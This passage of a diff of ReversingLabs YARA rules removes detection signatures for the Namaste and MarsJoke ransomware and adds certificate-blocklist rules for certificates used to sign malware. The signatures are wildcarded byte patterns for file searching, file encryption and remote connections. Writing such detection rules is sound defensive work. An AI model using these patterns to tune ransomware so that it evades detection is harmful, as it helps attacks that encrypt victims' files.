C6 45 ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 - B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? EB ?? 83 EC ?? 8B CC - 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 - B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D - ?? ?? ?? ?? 89 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SELCUK GUNDOGDU" and ( pe.signatures [ i ] . serial == "00:c3:31:87:fe:84:8a:65:e8:48:4e:a4:92:cb:2c:bb:18" or pe.signatures [ i ] . serial == "c3:31:87:fe:84:8a:65:e8:48:4e:a4:92:cb:2c:bb:18" ) and 1426204800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Namaste : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6Fc143Ba34Cabf1De7A4C7F8F4Cdad6D : INFO FILE { meta: - description = "Yara rule that detects Namaste ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e85d7ec3-367b-5bde-a570-8caa1f6cd61b" - date = "2021-08-12" - modified = "2021-08-12" + id = "546692ed-2506-56ad-b678-e74b857380a3" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Namaste.yara#L1-L81" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12782-L12798" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5a952276f41b5524bcb82a9ceb076983d2faf2864b3bbd0a06d49bbd5edc1e0e" + logic_hash = "ffe25e4478a2245d4e5b330bb9300fb6cb48afb0fe3bd72bd62a589eeee3fe89" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Namaste" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 02 06 07 9A 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32 - ?? DE ?? 26 DE ?? 00 03 28 ?? ?? ?? ?? 0C 16 0D 2B ?? 08 09 9A 13 ?? 02 11 ?? 28 ?? ?? - ?? ?? 17 28 ?? ?? ?? ?? 09 17 58 0D 09 08 8E 69 32 ?? DE ?? 26 DE ?? 2A - } - $find_files_p2 = { - 02 7B ?? ?? ?? ?? 2D ?? 03 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 17 2A 03 6F ?? ?? ?? ?? - 0A 06 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 - 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? - ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 - 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? - ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 16 2A 02 7B ?? ?? ?? ?? 2C ?? 03 72 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 16 2A 02 7B ?? ?? ?? ?? 2D ?? 03 72 ?? ?? ?? ?? 6F ?? ?? - ?? ?? 2D ?? 16 2A 03 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 03 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 20 ?? ?? ?? ?? 6A 31 ?? 16 0C DE ?? DE ?? 26 DE ?? 02 28 ?? ?? ?? ?? 07 28 ?? ?? ?? ?? - 2A 08 2A - } - $encrypt_files_p1 = { - 02 03 28 ?? ?? ?? ?? 2C ?? 02 7B ?? ?? ?? ?? 2C ?? 02 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 02 7B ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ?? 02 03 72 - ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 02 7B ?? ?? ?? ?? 2C ?? 03 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 2C ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2A - } - $encrypt_files_p2 = { - 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 02 20 ?? ?? ?? - ?? 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? - ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1B 28 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F - ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 12 ?? 28 ?? ?? ?? ?? 0B 02 07 - 28 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? - DC 02 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A - } - $encrypt_files_p3 = { - 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 26 73 ?? ?? ?? ?? 0A 06 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 06 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 18 6F ?? ?? ?? ?? 04 14 73 ?? ?? ?? ?? 0B 06 07 06 - 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 07 06 6F ?? ?? ?? ?? 1E 5B 6F ?? - ?? ?? ?? 6F ?? ?? ?? ?? 06 1A 6F ?? ?? ?? ?? 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ?? - ?? ?? ?? 0C 08 06 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 0D 03 19 73 ?? ?? ?? ?? 13 ?? 20 ?? - ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 2B ?? 09 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 11 ?? 11 ?? 16 11 - ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 30 ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 09 - 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 03 28 ?? ?? ?? ?? 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "World Telecom International Inc." and pe.signatures [ i ] . serial == "6f:c1:43:ba:34:ca:bf:1d:e7:a4:c7:f8:f4:cd:ad:6d" and 1147046400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Marsjoke : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6Ac6268B2E431A2C1369346D175D0E30 : INFO FILE { meta: - description = "Yara rule that detects MarsJoke ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8164c586-f548-5414-9df8-61e0c51cbe29" - date = "2020-06-26" - modified = "2020-07-15" + id = "12664460-19e1-5b73-8299-cfe19dffc0b4" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.MarsJoke.yara#L1-L157" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12800-L12816" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "298b2fd99793a15b3537853289e1337648d3fa84f12038e6f6831741404b7c5c" + logic_hash = "27efaba9bd9cd116f640007c1e951bb77757efbe148b5f953e71d6621d7f16b2" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "MarsJoke" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_and_encrypt_files = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 8B 45 - ?? 53 56 89 44 24 ?? 8B 45 ?? 57 89 44 24 ?? 8B 45 ?? BE ?? ?? ?? ?? 33 DB 56 89 44 - 24 ?? 8D 84 24 ?? ?? ?? ?? 8B F9 53 50 89 7C 24 ?? 66 89 9C 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 56 8D 84 24 ?? ?? ?? ?? 53 50 66 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 57 8D 4C 24 ?? 88 5C 24 ?? E8 ?? - ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 38 5C 24 ?? 0F 85 ?? ?? ?? ?? 8D 84 24 ?? - ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 - 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 59 59 BE ?? ?? ?? - ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 FF - 74 24 ?? FF D7 FF 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 - ?? 84 C0 8D 84 24 ?? ?? ?? ?? 75 ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? E9 ?? ?? ?? ?? - 6A ?? 50 FF D7 53 68 ?? ?? ?? ?? 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75 ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF D7 8D - 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E9 ?? ?? ?? ?? 8D 4C - 24 ?? 51 50 FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? - ?? 89 5C 24 ?? 33 DB 68 ?? ?? ?? ?? 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 53 50 89 54 24 - ?? 89 4C 24 ?? 66 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 74 24 ?? 8D 84 24 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 - 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 56 8D 84 24 ?? ?? ?? ?? 50 FF - D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 53 56 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 8D - 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75 ?? 56 8D 84 24 ?? ?? - ?? ?? 50 FF D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? E9 ?? - ?? ?? ?? 6A ?? 59 33 C0 66 89 9C 24 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? F3 AB 6A ?? FF - 74 24 ?? 66 AB 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? - ?? 57 53 50 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 0B 44 24 ?? 74 ?? 83 44 - 24 ?? ?? 11 5C 24 ?? EB ?? 89 7C 24 ?? 89 5C 24 ?? BF ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? - 59 50 57 8B 7C 24 ?? 57 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 89 47 ?? 8B 44 24 ?? 53 - 89 47 ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 57 FF 74 24 ?? C7 47 ?? ?? ?? ?? ?? 88 5C 24 - ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 44 24 ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? 3B FB 89 - 5C 24 ?? 0F 8C ?? ?? ?? ?? 7F ?? 39 5C 24 ?? 0F 86 ?? ?? ?? ?? 8B 74 24 ?? 83 EE ?? - 1B FB 89 74 24 ?? 89 7C 24 ?? 89 5C 24 ?? 33 C0 EB ?? 8B 7C 24 ?? 8B 74 24 ?? 39 74 - 24 ?? 75 ?? 3B C7 75 ?? 8B 44 24 ?? 89 44 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 68 ?? - ?? ?? ?? 53 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74 - 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 58 39 44 24 ?? 73 ?? 89 44 24 ?? 39 74 24 - ?? 75 ?? 33 C0 3B C7 75 ?? 39 5C 24 ?? 7C ?? 7F ?? 83 7C 24 ?? ?? 76 ?? 8B 44 24 ?? - 83 E0 ?? 74 ?? 8B 4C 24 ?? 2B C8 03 C9 89 4C 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 74 24 ?? - 53 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 - ?? 50 81 EC ?? ?? ?? ?? 6A ?? 59 8B FC FF B4 24 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? FF - B4 24 ?? ?? ?? ?? F3 A5 8B B4 24 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? - 53 8D 44 24 ?? 50 FF 74 24 ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 68 ?? ?? ?? ?? - 53 56 74 ?? FF 15 ?? ?? ?? ?? FF 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 33 C0 3B 44 24 ?? - 0F 8C ?? ?? ?? ?? 7F ?? 8B 4C 24 ?? 3B 4C 24 ?? 0F 82 ?? ?? ?? ?? EB ?? C6 44 24 ?? - ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 74 24 ?? FF 15 ?? ?? ?? ?? - FF 74 24 ?? 8B 3D ?? ?? ?? ?? FF D7 FF 74 24 ?? FF D7 56 8D 84 24 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 38 5C 24 ?? 8D 84 24 - ?? ?? ?? ?? 75 ?? 6A ?? FF 74 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 FF 74 24 ?? 68 ?? ?? - ?? ?? 75 ?? E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF D6 EB ?? E8 ?? ?? ?? ?? - 59 59 B0 ?? EB ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 32 C0 8B 8C 24 ?? ?? ?? ?? - 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $remote_connection_2 = { - 55 8D 6C 24 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? - 53 56 57 BE ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 04 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 56 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 83 A5 ?? - ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? - ?? BE ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? - E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B C3 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? - ?? 57 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A - ?? 8D 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? - ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 57 - 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? - 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? - ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A - ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 85 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B C3 - 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 - E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 59 59 5F 5E 5B 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 59 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 8B 85 ?? - ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 83 C5 ?? C9 C3 - } - $remote_connection_1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 85 - ?? ?? ?? ?? 50 8B F9 8B F2 68 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 33 DB 53 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 89 85 ?? ?? ?? ?? 66 C7 85 - ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 - 88 1F 50 88 1E 66 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D - 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 38 9D ?? ?? ?? - ?? 59 59 75 ?? 68 ?? ?? ?? ?? C6 07 ?? E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 59 89 85 ?? ?? ?? ?? 33 F6 BB ?? ?? ?? ?? - 56 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 53 E8 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? - 46 83 FE ?? 59 59 7C ?? EB ?? 53 E8 ?? ?? ?? ?? 59 83 BD ?? ?? ?? ?? ?? 7C ?? C6 07 - ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 F6 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 66 - 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 50 FF - B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 68 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 3B C6 0F 8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 89 B5 ?? ?? ?? ?? 0F 84 ?? - ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 56 E8 ?? ?? - ?? ?? 59 50 56 8D B5 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 8B C8 85 C9 - 89 8D ?? ?? ?? ?? 7D ?? C6 07 ?? 51 E9 ?? ?? ?? ?? 83 F9 ?? 0F 8C ?? ?? ?? ?? 83 BD - ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? 33 C0 8D BD ?? ?? ?? ?? 66 - AB 40 3B C8 89 85 ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? 8D 47 ?? E8 ?? ?? ?? ?? 85 C0 59 59 0F 85 ?? ?? ?? ?? 8B 77 ?? 2B 37 - 8D 46 ?? 50 E8 ?? ?? ?? ?? 59 56 6A ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 07 8B - 8D ?? ?? ?? ?? 83 C4 ?? 03 C8 51 8B 4F ?? 2B C8 51 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 59 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 59 40 50 E8 - ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? 8B F0 6A ?? 56 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? FF B5 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 56 53 C6 04 06 ?? - E8 ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 56 E8 - ?? ?? ?? ?? 83 C4 ?? 50 56 8D B5 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 - 3B C6 59 59 0F 8C ?? ?? ?? ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 - ?? ?? ?? ?? 83 F8 ?? 7E ?? 48 8D B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 85 C0 59 59 75 ?? 8B 06 8B 8D ?? ?? 